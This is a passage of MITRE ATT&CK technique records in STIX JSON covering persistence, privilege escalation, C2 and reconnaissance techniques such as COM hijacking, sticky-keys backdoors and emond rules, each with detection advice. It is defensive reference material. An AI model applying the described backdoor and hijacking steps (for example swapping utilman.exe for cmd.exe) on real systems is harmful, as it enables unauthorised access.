by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"type":"attack-pattern","id":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","created":"2020-01-24T13:40:47.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/001","external_id":"T1546.001"},{"source_name":"Microsoft Change Default Programs","description":"Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.","url":"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"},{"source_name":"Microsoft File Handlers","description":"Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015"},{"source_name":"Microsoft Assoc Oct 2017","description":"Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"},{"source_name":"TrendMicro TROJ-FAKEAV OCT 2012","description":"Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","created":"2020-01-14T01:35:00.781Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1055.014","url":"https://attack.mitre.org/techniques/T1055/014"},{"source_name":"Backtrace VDSO","url":"https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/","description":"backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020."},{"source_name":"Syscall 2014","url":"https://lwn.net/Articles/604515/","description":"Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020."},{"source_name":"GNU Acct","url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017."},{"source_name":"RHEL auditd","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017."},{"source_name":"ArtOfMemoryForensics","description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."},{"source_name":"ELF Injection May 2009","url":"https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html","description":"O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."},{"source_name":"VDSO Aug 2005","url":"https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/","description":"Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020."},{"source_name":"Chokepoint preload rootkits","url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","modified":"2022-07-07T17:09:09.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"VDSO Hijacking","x_mitre_detection":"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: OS API Execution","Module: Module Load"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091","type":"attack-pattern","created":"2017-05-31T21:30:32.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1026","url":"https://attack.mitre.org/techniques/T1026"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-30T13:59:11.272Z","name":"Multiband Communication","description":"**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-01-18T17:23:22.591Z","name":"File Transfer Protocols","description":"Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","created":"2020-03-15T16:16:25.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1071/002","external_id":"T1071.002"},{"source_name":"ESET Machete July 2019","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ENDGAME"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69","type":"attack-pattern","created":"2017-05-31T21:31:33.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1122","url":"https://attack.mitre.org/techniques/T1122"},{"url":"https://msdn.microsoft.com/library/ms694363.aspx","description":"Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.","source_name":"Microsoft Component Object Model"},{"url":"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence","description":"G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.","source_name":"GDATA COM Hijacking"},{"source_name":"Elastic COM Hijacking","description":"Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.","url":"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}],"modified":"2020-11-10T18:19:44.725Z","name":"Component Object Model Hijacking","description":"The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Autoruns Analysis"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Paul Speulstra, AECOM Global Security Operations Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3","type":"attack-pattern","created":"2017-05-31T21:30:26.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1015","url":"https://attack.mitre.org/techniques/T1015"},{"external_id":"CAPEC-558","source_name":"capec","url":"https://capec.mitre.org/data/definitions/558.html"},{"url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","source_name":"FireEye Hikit Rootkit"},{"url":"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom","description":"Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.","source_name":"DEFCON2016 Sticky Keys"},{"url":"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/","description":"Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.","source_name":"Tilbury 2014"}],"modified":"2020-05-13T20:37:30.008Z","name":"Accessibility Features","description":"Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-14T22:11:30.271Z","name":"Exploitation for Credential Access","description":"Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. \n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center","Mohit Rathore"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","Windows","macOS","Identity Provider"],"x_mitre_version":"1.6","x_mitre_data_sources":["User Account: User Account Authentication","Process: Process Creation","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1212","external_id":"T1212"},{"source_name":"Bugcrowd Replay Attack","description":"Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.","url":"https://www.bugcrowd.com/glossary/replay-attack/"},{"source_name":"Comparitech Replay Attack","description":"Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.","url":"https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"},{"source_name":"ADSecurity Detecting Forged Tickets","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","url":"https://adsecurity.org/?p=1515"},{"source_name":"Storm-0558 techniques for unauthorized email access","description":"Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/"},{"source_name":"Microsoft Midnight Blizzard Replay Attack","description":"Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.","url":"https://x.com/MsftSecIntel/status/1671579359994343425"},{"source_name":"Technet MS14-068","description":"Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.","url":"https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ivan Sinyakov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","created":"2020-01-24T15:15:13.426Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.014","url":"https://attack.mitre.org/techniques/T1546/014"},{"source_name":"magnusviri emond Apr 2016","url":"http://www.magnusviri.com/Mac/what-is-emond.html","description":"Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."},{"source_name":"xorrior emond Jan 2018","url":"https://www.xorrior.com/emond-persistence/","description":"Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.","modified":"2022-04-20T00:16:01.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Emond","x_mitre_detection":"Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Creation","Command: Command Execution","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["Administrator"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","type":"attack-pattern","created":"2020-03-14T22:45:52.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102.003","url":"https://attack.mitre.org/techniques/T1102/003"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:26:10.109Z","name":"One-Way Communication","description":"Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","type":"attack-pattern","created":"2020-10-02T15:45:17.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590","url":"https://attack.mitre.org/techniques/T1590"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:34:23.229Z","name":"Gather Victim Network Information","description":"Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial 